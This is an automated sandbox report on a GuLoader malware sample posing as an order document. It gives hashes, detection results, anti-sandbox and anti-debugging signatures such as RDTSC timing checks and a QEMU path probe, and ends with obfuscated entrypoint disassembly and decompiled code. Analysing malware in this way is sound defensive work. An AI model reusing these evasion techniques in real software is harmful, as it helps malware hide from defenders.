Loading ...

Play interactive tourEdit tour

Analysis Report Order 3350191107102300.bat.exe

Overview

General Information

Sample Name:Order 3350191107102300.bat.exe
Analysis ID:356750
MD5:7e7df58fd2de6dddae514d65a55ea92d
SHA1:6d2753aa52a78273a1aad5b9f9aaa422395a80d4
SHA256:96861b47729d7e9e4af5c1b016900631339c8357a614cf4fb02ebfbbadece8ff
Tags:exeGuLoader
Infos:

Most interesting Screenshot:

Detection

GuLoader
Score:80
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Potential malicious icon found
Yara detected GuLoader
Initial sample is a PE file and has a suspicious name
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect virtualization through RDTSC time measurements
Yara detected VB6 Downloader Generic
Abnormal high CPU Usage
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to read the PEB
Creates a DirectInput object (often for capturing keystrokes)
Detected potential crypto function
PE file contains strange resources
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Startup

  • System is w10x64
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
Process Memory Space: Order 3350191107102300.bat.exe PID: 3276JoeSecurity_VB6DownloaderGenericYara detected VB6 Downloader GenericJoe Security
    Process Memory Space: Order 3350191107102300.bat.exe PID: 3276JoeSecurity_GuLoaderYara detected GuLoaderJoe Security

      Sigma Overview

      No Sigma rule has matched

      Signature Overview

      Click to jump to signature section

      Show All Signature Results

      AV Detection:

      barindex
      Multi AV Scanner detection for submitted fileShow sources
      Source: Order 3350191107102300.bat.exeVirustotal: Detection: 39%Perma Link
      Source: Order 3350191107102300.bat.exeReversingLabs: Detection: 37%

      Compliance:

      barindex
      Uses 32bit PE filesShow sources
      Source: Order 3350191107102300.bat.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
      Source: Order 3350191107102300.bat.exe, 00000000.00000002.744618411.000000000078A000.00000004.00000020.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

      System Summary:

      barindex
      Potential malicious icon foundShow sources
      Source: initial sampleIcon embedded in PE file: bad icon match: 20047c7c70f0e004
      Initial sample is a PE file and has a suspicious nameShow sources
      Source: initial sampleStatic PE information: Filename: Order 3350191107102300.bat.exe
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeProcess Stats: CPU usage > 98%
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_004012C40_2_004012C4
      Source: Order 3350191107102300.bat.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
      Source: Order 3350191107102300.bat.exe, 00000000.00000000.218631460.000000000040F000.00000002.00020000.sdmpBinary or memory string: OriginalFilenameCODFISH.exe vs Order 3350191107102300.bat.exe
      Source: Order 3350191107102300.bat.exe, 00000000.00000002.744578137.0000000000750000.00000002.00000001.sdmpBinary or memory string: OriginalFilenameuser32j% vs Order 3350191107102300.bat.exe
      Source: Order 3350191107102300.bat.exeBinary or memory string: OriginalFilenameCODFISH.exe vs Order 3350191107102300.bat.exe
      Source: Order 3350191107102300.bat.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
      Source: classification engineClassification label: mal80.rans.troj.evad.winEXE@1/0@0/0
      Source: Order 3350191107102300.bat.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeSection loaded: C:\Windows\SysWOW64\msvbvm60.dllJump to behavior
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: Order 3350191107102300.bat.exeVirustotal: Detection: 39%
      Source: Order 3350191107102300.bat.exeReversingLabs: Detection: 37%

      Data Obfuscation:

      barindex
      Yara detected GuLoaderShow sources
      Source: Yara matchFile source: Process Memory Space: Order 3350191107102300.bat.exe PID: 3276, type: MEMORY
      Yara detected VB6 Downloader GenericShow sources
      Source: Yara matchFile source: Process Memory Space: Order 3350191107102300.bat.exe PID: 3276, type: MEMORY
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_0040504D push edi; ret 0_2_00405055
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_00404A52 pushad ; iretd 0_2_00404A5C
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_00405062 push edi; ret 0_2_0040506D
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_0040522D pushfd ; retf 0_2_00405230
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_00405C3C pushfd ; ret 0_2_00405C47
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_00403CCC push ecx; ret 0_2_00403CCD
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_00408972 push ebx; retf 0_2_00408975
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_00409102 pushad ; iretd 0_2_00409108
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_00408926 pushad ; retf 0_2_00408940
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_004059A8 push cs; ret 0_2_004059A9
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_02A862B0 push eax; ret 0_2_02A862B1
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_02A85E99 push F6FE382Ah; ret 0_2_02A85E9F
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_02A83E9F push ebx; iretd 0_2_02A83EA0
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_02A84628 pushfd ; retf 0_2_02A84634
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_02A85B34 push edi; ret 0_2_02A85B36
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_02A8347F push eax; ret 0_2_02A83488
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_02A81951 push es; retf 0_2_02A81952
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

      Malware Analysis System Evasion:

      barindex
      Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)Show sources
      Source: Order 3350191107102300.bat.exe, 00000000.00000002.746595733.0000000002A80000.00000040.00000001.sdmpBinary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEF9
      Source: Order 3350191107102300.bat.exeBinary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
      Tries to detect virtualization through RDTSC time measurementsShow sources
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeRDTSC instruction interceptor: First address: 0000000002A83066 second address: 0000000002A83066 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007F2BA038A159h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d test cx, 6B86h 0x00000022 pop ecx 0x00000023 jmp 00007F2BA038A152h 0x00000025 test eax, eax 0x00000027 add edi, edx 0x00000029 cmp bl, cl 0x0000002b dec ecx 0x0000002c cmp ecx, 00000000h 0x0000002f jne 00007F2BA038A0F2h 0x00000031 cmp bl, dl 0x00000033 push ecx 0x00000034 cmp eax, ecx 0x00000036 test ch, ah 0x00000038 call 00007F2BA038A178h 0x0000003d call 00007F2BA038A169h 0x00000042 lfence 0x00000045 mov edx, dword ptr [7FFE0014h] 0x0000004b lfence 0x0000004e ret 0x0000004f mov esi, edx 0x00000051 pushad 0x00000052 rdtsc
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_02A8329B rdtsc 0_2_02A8329B
      Source: Order 3350191107102300.bat.exe, 00000000.00000002.746595733.0000000002A80000.00000040.00000001.sdmpBinary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exef9
      Source: Order 3350191107102300.bat.exeBinary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_02A8329B rdtsc 0_2_02A8329B
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_02A82EE9 mov eax, dword ptr fs:[00000030h]0_2_02A82EE9
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_02A81FD2 mov eax, dword ptr fs:[00000030h]0_2_02A81FD2
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_02A81FD7 mov eax, dword ptr fs:[00000030h]0_2_02A81FD7
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_02A858EA mov eax, dword ptr fs:[00000030h]0_2_02A858EA
      Source: C:\Users\user\Desktop\Order 3350191107102300.bat.exeCode function: 0_2_02A854F3 mov eax, dword ptr fs:[00000030h]0_2_02A854F3
      Source: Order 3350191107102300.bat.exe, 00000000.00000002.744733487.0000000000E10000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
      Source: Order 3350191107102300.bat.exe, 00000000.00000002.744733487.0000000000E10000.00000002.00000001.sdmpBinary or memory string: Progman
      Source: Order 3350191107102300.bat.exe, 00000000.00000002.744733487.0000000000E10000.00000002.00000001.sdmpBinary or memory string: SProgram Managerl
      Source: Order 3350191107102300.bat.exe, 00000000.00000002.744733487.0000000000E10000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd,
      Source: Order 3350191107102300.bat.exe, 00000000.00000002.744733487.0000000000E10000.00000002.00000001.sdmpBinary or memory string: Progmanlock

      Mitre Att&ck Matrix

      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
      Valid AccountsWindows Management InstrumentationPath InterceptionProcess Injection1Process Injection1Input Capture1Security Software Discovery211Remote ServicesInput Capture1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
      Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsObfuscated Files or Information1LSASS MemoryProcess Discovery1Remote Desktop ProtocolArchive Collected Data1Exfiltration Over BluetoothJunk DataExploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
      Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerSystem Information Discovery11SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.

      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      Order 3350191107102300.bat.exe39%VirustotalBrowse
      Order 3350191107102300.bat.exe38%ReversingLabsWin32.Trojan.VBObfuse

      Dropped Files

      No Antivirus matches

      Unpacked PE Files

      No Antivirus matches

      Domains

      No Antivirus matches

      URLs

      No Antivirus matches

      Domains and IPs

      Contacted Domains

      No contacted domains info

      Contacted IPs

      No contacted IP infos

      General Information

      Joe Sandbox Version:31.0.0 Emerald
      Analysis ID:356750
      Start date:23.02.2021
      Start time:15:58:25
      Joe Sandbox Product:CloudBasic
      Overall analysis duration:0h 7m 13s
      Hypervisor based Inspection enabled:false
      Report type:full
      Sample file name:Order 3350191107102300.bat.exe
      Cookbook file name:default.jbs
      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
      Number of analysed new started processes analysed:35
      Number of new started drivers analysed:0
      Number of existing processes analysed:0
      Number of existing drivers analysed:0
      Number of injected processes analysed:0
      Technologies:
      • HCA enabled
      • EGA enabled
      • HDC enabled
      • AMSI enabled
      Analysis Mode:default
      Analysis stop reason:Timeout
      Detection:MAL
      Classification:mal80.rans.troj.evad.winEXE@1/0@0/0
      EGA Information:Failed
      HDC Information:
      • Successful, ratio: 19% (good quality ratio 15.8%)
      • Quality average: 44.5%
      • Quality standard deviation: 30.1%
      HCA Information:Failed
      Cookbook Comments:
      • Adjust boot time
      • Enable AMSI
      • Found application associated with file extension: .exe
      • Override analysis time to 240s for sample files taking high CPU consumption
      Warnings:
      Show All
      • Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, HxTsr.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe

      Simulations

      Behavior and APIs

      No simulations

      Joe Sandbox View / Context

      IPs

      No context

      Domains

      No context

      ASN

      No context

      JA3 Fingerprints

      No context

      Dropped Files

      No context

      Created / dropped Files

      No created / dropped files found

      Static File Info

      General

      File type:PE32 executable (GUI) Intel 80386, for MS Windows
      Entropy (8bit):4.8128892871742375
      TrID:
      • Win32 Executable (generic) a (10002005/4) 99.15%
      • Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81%
      • Generic Win/DOS Executable (2004/3) 0.02%
      • DOS Executable Generic (2002/1) 0.02%
      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
      File name:Order 3350191107102300.bat.exe
      File size:61440
      MD5:7e7df58fd2de6dddae514d65a55ea92d
      SHA1:6d2753aa52a78273a1aad5b9f9aaa422395a80d4
      SHA256:96861b47729d7e9e4af5c1b016900631339c8357a614cf4fb02ebfbbadece8ff
      SHA512:bb4a337359fe81136e12bea5d9cefbfedb1ae402b17962a8a07a26e47d0ead672228652f8c9111609ccc191f8cbbfb6a9a7facced83bec958a61b807e13a48d9
      SSDEEP:768:5Zs/yUcqX46IjPAygxo9N/hZLbimvoZO1diPdn0hscFmR:Ino62Poxo9jZv7+O6FwK
      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L....S^U.....................0....................@................

      File Icon

      Icon Hash:20047c7c70f0e004

      Static PE Info

      General

      Entrypoint:0x4012c4
      Entrypoint Section:.text
      Digitally signed:false
      Imagebase:0x400000
      Subsystem:windows gui
      Image File Characteristics:LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
      DLL Characteristics:
      Time Stamp:0x555E53E2 [Thu May 21 21:53:38 2015 UTC]
      TLS Callbacks:
      CLR (.Net) Version:
      OS Version Major:4
      OS Version Minor:0
      File Version Major:4
      File Version Minor:0
      Subsystem Version Major:4
      Subsystem Version Minor:0
      Import Hash:f8fb5be8a6ea86fb9d04da61d8bfeb3a

      Entrypoint Preview

      Instruction
      push 00401500h
      call 00007F2BA0AB00A3h
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      xor byte ptr [eax], al
      add byte ptr [eax], al
      cmp byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      cmp eax, 4D9D86E1h
      hlt
      jnp 00007F2BA0AB0100h
      stosb
      fstsw word ptr [eax+ebx-1Fh]
      stosd
      loope 00007F2BA0AB0090h
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add dword ptr [eax], eax
      add byte ptr [eax], al
      add byte ptr [eax], al
      enter FE93h, 02h
      push esp
      jns 00007F2BA0AB011Dh
      insd
      insb
      add byte ptr [esi], bh
      add byte ptr [eax], al
      add byte ptr [eax], al
      add bh, bh
      int3
      xor dword ptr [eax], eax
      pop es
      fnclex
      pop ss
      pop esp
      jnl 00007F2BA0AB0080h
      jmp 00007F2BA0AB00F4h
      cwde
      pop ss
      inc esp
      inc edx
      fsubr st(0), st(0)
      mov ebx, dword ptr [ebx]
      out 57h, eax
      sub esi, edi
      enter 442Dh, 47h
      and byte ptr [edx-14D2B208h], 00000057h
      push cs
      cmp cl, byte ptr [edi-53h]
      xor ebx, dword ptr [ecx-48EE309Ah]
      or al, 00h
      stosb
      add byte ptr [eax-2Dh], ah
      xchg eax, ebx
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      add byte ptr [eax], al
      nop
      add dword ptr [eax], eax
      add byte ptr [eax+eax+00h], cl
      add byte ptr [eax], al
      push es
      add byte ptr [ecx+6Dh], ah
      popad
      outsb
      jne 00007F2BA0AB0117h
      add byte ptr [4D000C01h], cl
      outsd
      outsb
      outsd
      jo 00007F2BA0AB0125h
      jns 00007F2BA0AB0115h
      push 00397369h
      sbb dword ptr [ecx], eax
      add byte ptr [edx+00h], al

      Data Directories

      NameVirtual AddressVirtual Size Is in Section
      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
      IMAGE_DIRECTORY_ENTRY_IMPORT0xc2140x28.text
      IMAGE_DIRECTORY_ENTRY_RESOURCE0xf0000x99c.rsrc
      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
      IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x2280x20
      IMAGE_DIRECTORY_ENTRY_IAT0x10000xd0.text
      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

      Sections

      NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
      .text0x10000xb5e80xc000False0.462443033854data5.52315767674IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
      .data0xd0000x118c0x1000False0.00634765625data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
      .rsrc0xf0000x99c0x1000False0.178955078125data2.08945288854IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

      Resources

      NameRVASizeTypeLanguageCountry
      RT_ICON0xf86c0x130data
      RT_ICON0xf5840x2e8data
      RT_ICON0xf45c0x128GLS_BINARY_LSB_FIRST
      RT_GROUP_ICON0xf42c0x30data
      RT_VERSION0xf1500x2dcdataHungarianHungary

      Imports

      DLLImport
      MSVBVM60.DLL_CIcos, _adj_fptan, __vbaVarMove, __vbaAryMove, __vbaFreeVar, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaObjSet, _adj_fdiv_m16i, _adj_fdivr_m16i, __vbaFpR8, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, _adj_fpatan, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, _CIlog, __vbaErrorOverflow, __vbaNew2, __vbaVar2Vec, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaVarDup, _CIatan, __vbaCastObj, _allmul, _CItan, _CIexp, __vbaFreeObj, __vbaFreeStr

      Version Infos

      DescriptionData
      Translation0x040e 0x04b0
      LegalCopyrightCopyright (C) AC
      InternalNameCODFISH
      FileVersion1.00
      CompanyNameAC
      LegalTrademarksCopyright (C) AC
      CommentsAC
      ProductNameAC
      ProductVersion1.00
      FileDescriptionAC
      OriginalFilenameCODFISH.exe

      Possible Origin

      Language of compilation systemCountry where language is spokenMap
      HungarianHungary

      Network Behavior

      No network behavior found

      Code Manipulations

      Statistics

      CPU Usage

      Click to jump to process

      Memory Usage

      Click to jump to process

      System Behavior

      General

      Start time:15:59:10
      Start date:23/02/2021
      Path:C:\Users\user\Desktop\Order 3350191107102300.bat.exe
      Wow64 process (32bit):true
      Commandline:'C:\Users\user\Desktop\Order 3350191107102300.bat.exe'
      Imagebase:0x400000
      File size:61440 bytes
      MD5 hash:7E7DF58FD2DE6DDDAE514D65A55EA92D
      Has elevated privileges:true
      Has administrator privileges:true
      Programmed in:Visual Basic
      Reputation:low

      Disassembly

      Code Analysis

      Reset < >

        Executed Functions

        C-Code - Quality: 78%
        			_entry_(signed int __eax, signed char __ebx, signed char __ecx, signed int __edx, signed int __edi, intOrPtr* __esi) {
        				signed int _t101;
        				signed int _t102;
        				signed char _t104;
        				signed int _t105;
        				signed char _t107;
        				signed char _t109;
        				signed char _t112;
        				intOrPtr* _t113;
        				signed int _t115;
        				intOrPtr* _t116;
        				intOrPtr* _t117;
        				intOrPtr* _t119;
        				signed int _t127;
        				signed int _t128;
        				intOrPtr* _t129;
        				intOrPtr* _t130;
        				intOrPtr* _t131;
        				intOrPtr* _t132;
        				void* _t133;
        				intOrPtr* _t134;
        				intOrPtr* _t140;
        				intOrPtr* _t142;
        				intOrPtr* _t143;
        				intOrPtr* _t144;
        				void* _t145;
        				intOrPtr* _t146;
        				signed int _t147;
        				signed char _t148;
        				signed int _t149;
        				signed int _t150;
        				signed int _t155;
        				signed char _t156;
        				signed char _t157;
        				intOrPtr* _t158;
        				signed char _t160;
        				signed char _t162;
        				signed int _t163;
        				signed int _t166;
        				intOrPtr* _t167;
        				signed int _t168;
        				void* _t169;
        				void* _t175;
        				intOrPtr _t180;
        				intOrPtr _t181;
        				intOrPtr _t184;
        				intOrPtr _t186;
        				intOrPtr _t189;
        
        				_t167 = __esi;
        				_t166 = __edi;
        				_t163 = __edx;
        				_t160 = __ecx;
        				_t156 = __ebx;
        				_t101 = __eax;
        				_push("VB5!6&*"); // executed
        				L004012BC(); // executed
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax ^ __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				 *__eax =  *__eax + __eax;
        				_t175 = __eax - 0x4d9d86e1;
        				while(1) {
        					asm("hlt");
        					if(_t175 != 0) {
        						break;
        					}
        					asm("stosb");
        					asm("fnstsw word [eax+ebx-0x1f]");
        					asm("stosd");
        					asm("loope 0xffffffe0");
        					 *_t101 =  *_t101 + _t101;
        					 *_t101 =  *_t101 + _t101;
        					 *_t101 =  *_t101 + _t101;
        					 *_t101 =  *_t101 + _t101;
        					 *_t101 =  *_t101 + _t101;
        					 *_t101 =  *_t101 + _t101;
        					asm("enter 0xfe93, 0x2");
        					_push(_t169);
        					if( *_t101 < 0) {
        						asm("insd");
        						asm("insb");
        						 *_t167 =  *_t167 + _t156;
        						 *_t101 =  *_t101 + _t101;
        						 *_t101 =  *_t101 + _t101;
        						_t156 = _t156 + _t156;
        						asm("int3");
        						 *_t101 =  *_t101 ^ _t101;
        						_pop(es);
        						asm("fclex");
        						_pop(ss);
        						_pop(_t169);
        						if( *_t101 >= 0) {
        							continue;
        						} else {
        							L6:
        							 *_t101 =  *_t101 + _t101;
        							 *_t101 =  *_t101 + _t101;
        							 *_t101 =  *_t101 + _t101;
        							 *_t101 =  *_t101 + _t101;
        							 *_t101 =  *_t101 + _t101;
        							 *_t101 =  *_t101 + _t101;
        							 *((intOrPtr*)(_t101 + _t101)) =  *((intOrPtr*)(_t101 + _t101)) + _t160;
        							 *_t101 =  *_t101 + _t101;
        						}
        					}
        					_push(es);
        					_t3 = _t160 + 0x6d;
        					 *_t3 =  *((intOrPtr*)(_t160 + 0x6d)) + _t101;
        					asm("popad");
        					asm("outsb");
        					if( *_t3 != 0) {
        						L14:
        						 *_t156 =  *_t156 + 1;
        						_t102 = _t101;
        						 *_t102 =  *_t102 + _t102;
        						_t101 = _t102 +  *_t166;
        						_t15 = _t166 + 0x70;
        						 *_t15 =  *((intOrPtr*)(_t166 + 0x70)) + _t160;
        						_t184 =  *_t15;
        						goto L15;
        					} else {
        						 *0x4d000c01 =  *0x4d000c01 + _t160;
        						_t180 =  *0x4d000c01;
        						asm("outsd");
        						asm("outsb");
        						asm("outsd");
        						if(_t180 < 0) {
        							L17:
        							_t168 =  *(_t156 + 0x65) * 0x6e6e696d;
        							 *0x177003c0 =  *0x177003c0 + _t101;
        							_t186 =  *0x177003c0;
        							goto L18;
        						} else {
        							if(_t180 >= 0) {
        								L15:
        								if(_t184 == 0) {
        									goto L27;
        								} else {
        									asm("outsd");
        									asm("outsb");
        									_t101 = _t101 ^  *_t101;
        									_push(es);
        									 *_t156 =  *_t156 + _t160;
        									_t17 = _t168 + 0x61;
        									 *_t17 =  *((intOrPtr*)(_t168 + 0x61)) + _t160;
        									if( *_t17 < 0) {
        										goto L28;
        									} else {
        										goto L17;
        									}
        								}
        							} else {
        								_push(0x397369);
        								asm("sbb [ecx], eax");
        								 *_t163 =  *_t163 + _t101;
        								_t105 = _t101 &  *_t160 & 0x0000000c;
        								_t5 = _t168 + 0x6f;
        								 *_t5 =  *((intOrPtr*)(_t168 + 0x6f)) + _t160;
        								_t181 =  *_t5;
        								asm("outsb");
        								asm("outsd");
        								if(_t181 < 0) {
        									L21:
        									 *_t105 =  *_t105 + _t105;
        									 *_t156 =  *_t156 + _t105;
        									_pop(es);
        									_t20 = _t166 + 0x70;
        									 *_t20 =  *((intOrPtr*)(_t166 + 0x70)) + _t160;
        									if( *_t20 == 0) {
        										goto L30;
        									} else {
        										asm("outsd");
        										asm("outsb");
        										 *_t105 =  *_t105 ^ _t105;
        										_push(es);
        										 *_t105 =  *_t105 + _t160;
        										_t22 = _t167 + 0x65;
        										 *_t22 =  *((intOrPtr*)(_t167 + 0x65)) + _t105;
        										_t189 =  *_t22;
        										if(_t189 == 0) {
        											goto L31;
        										} else {
        											if(_t189 >= 0) {
        												 *0x14a00348 =  *0x14a00348 + _t105;
        												goto L25;
        											}
        										}
        									}
        								} else {
        									if(_t181 >= 0) {
        										L18:
        										asm("rol byte [ebx], 0x70");
        										_pop(ss);
        										asm("lahf");
        										_push(es);
        										if(_t186 <= 0) {
        											asm("adc al, [eax+eax]");
        										}
        										_t105 = _t101;
        										 *_t156 =  *_t156 + 1;
        										 *_t105 =  *_t105 - _t105;
        										goto L21;
        									} else {
        										_t105 = _t105 ^ 0x000015a1;
        										 *_t156 = ds;
        										 *_t105 =  *_t105 + _t105;
        										asm("ficomp dword [esi]");
        										 *_t105 =  *_t105 + _t105;
        										_t7 = _t105 + _t105;
        										_t8 = _t163;
        										_t163 =  *_t7;
        										 *_t7 = _t8;
        										 *((intOrPtr*)(_t105 + _t105 + 0x46)) =  *((intOrPtr*)(_t105 + _t105 + 0x46)) + _t105;
        										_t166 = _t166 + _t166;
        										 *_t167 =  *_t167 + _t169;
        										 *_t105 =  *_t105 + _t105;
        										 *_t160 =  *_t160 + _t105;
        										es = 0x397369;
        										_t13 = _t166 + 0x70;
        										 *_t13 =  *((intOrPtr*)(_t166 + 0x70)) + _t160;
        										if( *_t13 == 0) {
        											L25:
        											asm("adc al, 0xaf");
        											_t104 = _t105 + 0x31201ef;
        											_t156 = _t156 + _t156 +  *(_t156 + _t156);
        											 *_t104 =  *_t104 + _t104;
        											_t24 = _t104 + 0x73694c00;
        											 *_t24 =  *((intOrPtr*)(_t104 + 0x73694c00)) + _t104;
        											if( *_t24 != 0) {
        												 *_t104 =  *_t104 + _t160;
        												asm("movaps xmm2, [edi]");
        												_push(es);
        												_t163 = _t163 +  *_t160;
        												 *_t156 =  *_t156 + 1;
        												_t101 = _t104 + 0x78 - 1 +  *((intOrPtr*)(_t104 + 0x78 - 1));
        												L27:
        												 *_t101 =  *_t101 + _t101;
        												 *0x6f430008 =  *0x6f430008 + _t101;
        												asm("insd");
        												asm("insd");
        												asm("popad");
        												asm("outsb");
        												 *[fs:eax] =  *[fs:eax] ^ _t101;
        												L28:
        												_t104 = _t101 + 0x00000001 |  *(_t101 + 1);
        												_push(_t168);
        												_push(_t163);
        												_t168 = _t168 + 1;
